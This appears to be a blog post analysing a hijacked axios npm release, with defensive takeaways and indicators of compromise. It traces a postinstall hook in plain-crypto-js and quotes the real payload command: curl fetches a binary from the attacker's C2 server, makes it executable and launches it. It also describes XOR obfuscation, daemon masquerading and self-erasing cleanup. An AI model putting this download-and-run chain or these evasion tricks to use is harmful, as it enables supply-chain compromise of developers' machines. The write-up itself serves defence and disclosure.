Welcome to Transitive Dependency Hell
<p>At 00:21 UTC on March 31, someone published <code>[email protected]</code> to npm. Three hours later it was pulled. In between, every <code>npm install</code> and <code>npx</code> invocation that resolved <code>axios@latest</code> executed a backdoor on the installing machine. Axios has roughly 80 million weekly downloads, and here's what that three-hour window looked like from one developer's MacBook.</p> <h2> Monday Night </h2> <p>A developer sits down, opens a terminal, and runs a command they've run dozens of times before:<br> </p> <div class="highlight js-code-highlight"> <pre class="highlight shell"><code>npx <span class="nt">--yes</span> @datadog/datadog-ci <span class="nt">--help</span> </code></pre> </div> <p>A legitimate tool from a legitimate vendor. The <code>--yes</code> flag sk
At 00:21 UTC on March 31, someone published [email protected] to npm. Three hours later it was pulled. In between, every npm install and npx invocation that resolved axios@latest executed a backdoor on the installing machine. Axios has roughly 80 million weekly downloads, and here's what that three-hour window looked like from one developer's MacBook.
Monday Night
A developer sits down, opens a terminal, and runs a command they've run dozens of times before:
npx --yes @datadog/datadog-ci --help
Enter fullscreen mode
Exit fullscreen mode
A legitimate tool from a legitimate vendor. The --yes flag skips npm's confirmation prompt. The developer (or Claude) isn't even using the tool yet, just checking its options.
npm resolves the dependency tree and starts writing packages to disk: dogapi, escodegen, esprima, js-yaml, fast-xml-parser, rc, is-docker, semver, uuid, and axios. All names you'd recognize, and all packages that individually look fine. But axios just resolved to 1.14.1, which is not the version that Axios's maintainers published four days earlier. It's the version an attacker published twenty minutes ago.
The Hijack
[email protected] was the last legitimate release, published on March 27 through GitHub Actions OIDC provenance. The attacker compromised the npm account of jasonsaayman, an existing Axios maintainer, and changed the account email from [email protected] to [email protected]. With publish access, they pushed two malicious versions in quick succession:
-
00:21:58 UTC: [email protected], tagged latest
-
01:00:57 UTC: [email protected], tagged legacy
The latest tag meant every unversioned axios install worldwide pulled the backdoor. The legacy tag caught anyone pinned to the 0.x line. Both versions added a single new dependency: plain-crypto-js.
The Postinstall Chain
plain-crypto-js declared postinstall: node setup.js in its package.json, and npm ran it automatically. The script used two layers of obfuscation (string reversal with base64 decoding, then an XOR cipher keyed with OrDeR_7077) to hide its real behavior from anyone grepping for suspicious strings. Once decoded, it branched by platform.
On the developer's Mac, CrowdStrike's process tree captured the full chain. npx spawned node setup.js, which shelled out to /bin/sh to launch osascript against a script dropped into the per-user temp directory:
nohup osascript /var/folders/gz/s87fs56d0pqbr1s7l1b898h80000gn/T/6202033
Enter fullscreen mode
Exit fullscreen mode
osascript is Apple's AppleScript interpreter, a legitimate Apple-signed binary present on every Mac. Running code through it instead of directly lets the attacker hide behind a trusted process name. The nohup ensures the process survives if the parent terminal closes, and the AppleScript then executed the real payload:
sh -c 'curl -o /Library/Caches/com.apple.act.mond \ -d packages.npm.org/product0 \ -s http://sfrclak.com:8000/6202033 \ && chmod 770 /Library/Caches/com.apple.act.mond \ && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &"' \ &> /dev/nullsh -c 'curl -o /Library/Caches/com.apple.act.mond \ -d packages.npm.org/product0 \ -s http://sfrclak.com:8000/6202033 \ && chmod 770 /Library/Caches/com.apple.act.mond \ && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &"' \ &> /dev/nullEnter fullscreen mode
Exit fullscreen mode
Download, set executable, and launch the beacon, all in a single sh -c invocation. If any step fails, the chain stops. If it succeeds, the malware is already running before the AppleScript exits.
The output path masquerades as an Apple system daemon using the com.apple.* reverse-DNS convention. The -d packages.npm.org/product0 is not a real npm URL but a tracking identifier sent as POST data so the C2 knows which package triggered the install. The -s flag keeps curl silent, and the outer &> /dev/null swallows any output from the entire chain.*
The binary immediately began beaconing to 142.11.206.73:8000 (sfrclak.com) over HTTP. Ten hours later, CrowdStrike's telemetry shows com.apple.act.mond still running and reading /Library/Preferences/com.apple.networkd.plist for network interface configurations, proxy settings, and VPN connection details. The kind of reconnaissance you do when you're deciding whether a machine is worth keeping access to.
Meanwhile, back in node_modules, setup.js was cleaning up after itself. It deleted its own file with fs.unlink(filename) and renamed a clean package.md to package.json, overwriting the version that declared the postinstall hook. Anyone investigating the installed package later would find no trace of the trigger.
Not Just Macs
The same setup.js had branches for every major platform:
Platform Payload Path Technique
macOS
/Library/Caches/com.apple.act.mond
AppleScript, curl, binary masquerading as Apple daemon
Windows
%PROGRAMDATA%\wt.exe
PowerShell copied and renamed to look like Windows Terminal; VBScript loader drops .ps1 payload with -w hidden -ep bypass
Linux
/tmp/ld.py
Python script downloaded and backgrounded with nohup python3
All three phoned home to the same C2: sfrclak.com:8000/6202033.
What CrowdStrike Caught (and Didn't)
Falcon flagged the macOS beacon as MacOSApplicationLayerProtocol, mapping to T1071 (Application Layer Protocol) under TA0011 (Command and Control). The detection triggered on the last step in the chain: a binary at a suspicious path making outbound HTTP requests on a non-standard port.
Everything before that ran unimpeded. The node setup.js postinstall hook, the osascript execution from a temp directory, the curl download and chmod all completed before any security tooling intervened. If the attacker had used HTTPS on port 443 to a less suspicious-looking domain, the beacon might not have triggered either.
IOCs
Indicator Type Value
C2 Domain
Domain
sfrclak.com
C2 IP
IPv4
142.11.206.73
C2 Port
Port
8000
Campaign ID
String
6202033
macOS Payload
File
/Library/Caches/com.apple.act.mond
macOS Hash
SHA256
92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a
Windows Payload
File
%PROGRAMDATA%\wt.exe
Linux Payload
File
/tmp/ld.py
Tracking ID
String
packages.npm.org/product0
Compromised Packages npm
[email protected], [email protected], [email protected]
Hijacked Account npm
jasonsaayman (email changed to [email protected])
XOR Key
String
OrDeR_7077
Takeaways
Check your lockfiles now. Search package-lock.json, yarn.lock, and pnpm-lock.yaml for [email protected], [email protected], or any reference to plain-crypto-js. If you find them, assume the installing machine is compromised.
Disable postinstall scripts. Add ignore-scripts=true to ~/.npmrc. When a package legitimately needs a postinstall hook for native compilation, run npm rebuild explicitly after reviewing the script. This single setting would have stopped the entire attack chain.
Monitor for osascript spawned by node. There is no legitimate reason for a Node.js process to execute AppleScript from a temp directory. If your endpoint detection sees that process ancestry, kill it.
The developer did nothing wrong. They ran a standard tool from a major vendor and trusted npm to deliver safe code. The problem is that npm's default behavior (resolve the full tree, install everything, run every postinstall script, no questions asked) turns every npm install into an implicit trust decision across hundreds of packages maintained by people you've never met. The Axios maintainer account was compromised for three hours. That was enough.
This is the third post in a series on software supply chain attacks. The previous posts covered the Trivy ecosystem compromise and the limits of SHA pinning. Joe Desimone's technical analysis of the axios compromise is worth reading in full.
If you liked (or hated) this blog, feel free to check out my GitHub!
Sign in to highlight and annotate this article

Conversation starters
Daily AI Digest
Get the top 5 AI stories delivered to your inbox every morning.
More about
claudereleaselaunchWatch the first crewed Artemis mission take flight
Artemis II, the first crewed mission under the Artemis program , is scheduled to launch today, April 1. NASA is opening a two-hour window for its lift off, starting at 6:24 PM Eastern time, at the Kennedy Space Center in Florida. The agency said the forecast for launch day “shows an 80 percent chance of favorable weather conditions” and that, on March 31, its engineers had finished critical health checks on the Space Launch System rocket that the mission will use. On the evening of March 31, the engineers shifted the launch system into its final configuration. In the early hours of April 1, they will activate the ground launch sequencer. You can start watching Artemis II’s launch event at 7:45AM ET when the Artemis team will load propellant into the SLS rocket. Full launch coverage begins
Beyond CRUD: A Practical Guide to Modeling Business Processes in REST APIs
<p>Most developers agree that naming things is one of the hardest parts of our job. Designing a clear, effective RESTful API comes in as a close runner-up.</p> <p>On the surface, REST makes a lot of sense. Compared to its dominant predecessor, SOAP, which involved hammering a <code>POST</code> endpoint with unwieldy XML requests, REST feels like a breath of fresh air. By combining an <a href="https://www.rfc-editor.org/rfc/rfc9110#section-9" rel="noopener noreferrer">HTTP Method</a> with a <a href="https://developer.mozilla.org/en-US/docs/Web/URI" rel="noopener noreferrer">URI (Uniform Resource Identifier)</a>, you can create (<code>POST</code>), read (<code>GET</code>), update (<code>PUT</code> or <code>PATCH</code>), and delete (<code>DELETE</code>) resources. Simple and intuitive, right
Knowledge Map
Connected Articles — Knowledge Graph
This article is connected to other articles through shared AI topics and tags.
More in Products
Beyond CRUD: A Practical Guide to Modeling Business Processes in REST APIs
<p>Most developers agree that naming things is one of the hardest parts of our job. Designing a clear, effective RESTful API comes in as a close runner-up.</p> <p>On the surface, REST makes a lot of sense. Compared to its dominant predecessor, SOAP, which involved hammering a <code>POST</code> endpoint with unwieldy XML requests, REST feels like a breath of fresh air. By combining an <a href="https://www.rfc-editor.org/rfc/rfc9110#section-9" rel="noopener noreferrer">HTTP Method</a> with a <a href="https://developer.mozilla.org/en-US/docs/Web/URI" rel="noopener noreferrer">URI (Uniform Resource Identifier)</a>, you can create (<code>POST</code>), read (<code>GET</code>), update (<code>PUT</code> or <code>PATCH</code>), and delete (<code>DELETE</code>) resources. Simple and intuitive, right
From idea to live web app in minutes with Spektrum. An AI-powered web app builder for MVPs, rapid prototyping, and full-stack JavaScript apps. Skip setup, generate real products, and deploy instantly without infrastructure headaches. 🔥
<div class="ltag__link--embedded"> <div class="crayons-story "> <a href="https://dev.to/jigjoy/spektrum-turn-natural-language-into-live-web-apps-deploy-in-minutes-with-ai-5292" class="crayons-story__hidden-navigation-link">Spektrum: Turn Natural Language into Live Web Apps (Deploy in Minutes with AI)</a> <div class="crayons-story__body crayons-story__body-full_post"> <div class="crayons-story__top"> <div class="crayons-story__meta"> <div class="crayons-story__author-pic"> <a class="crayons-logo crayons-logo--l" href="/jigjoy"> <img alt="JigJoy logo" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Forganization%2Fprofile_image%2F12673%2F0815940b-2b5b-4cdd-9626-9dd0bf5f8be4.png
Why ChatGPT Cites Your Competitors (Not You)
<p><a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab4rjm31qc9t27eimxi1.png" class="article-body-image-wrapper"><img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fab4rjm31qc9t27eimxi1.png" alt=" " width="800" height="533"></a><br> AI engines are sending traffic to your competitors — even when yours is the better site. Here's why it happens, what AEO and GEO actually mean, and how to fix it.</p> <p>Nobody told me search was changing. I had to find out the embarrassing way.</p> <p>Last year I recommended a client's website to someone.
The Illusion of Data Custody in Legal AI — and the Architecture I Built to Replace It
<p>**There is a moment every legal AI founder eventually has to confront.</p> <p>You have built a capable system. The retrieval is good. The citations hold up. The interface is clean. A lawyer uploads a sensitive client document and asks a question. The system answers correctly.</p> <p>Then they ask: what happens to this document when I delete it?<br> And that is where most legal AI products fail quietly.</p> <p>Not because the founders were careless. Because they treated data custody as a policy question rather than an architecture question. They added a delete button, wrote a privacy policy, and moved on.</p> <p>This article is about what I built instead — and why the distinction between a deletion confirmation and a cryptographic Destruction Receipt matters enormously in legal contexts.
Discussion
Sign in to join the discussion
No comments yet — be the first to share your thoughts!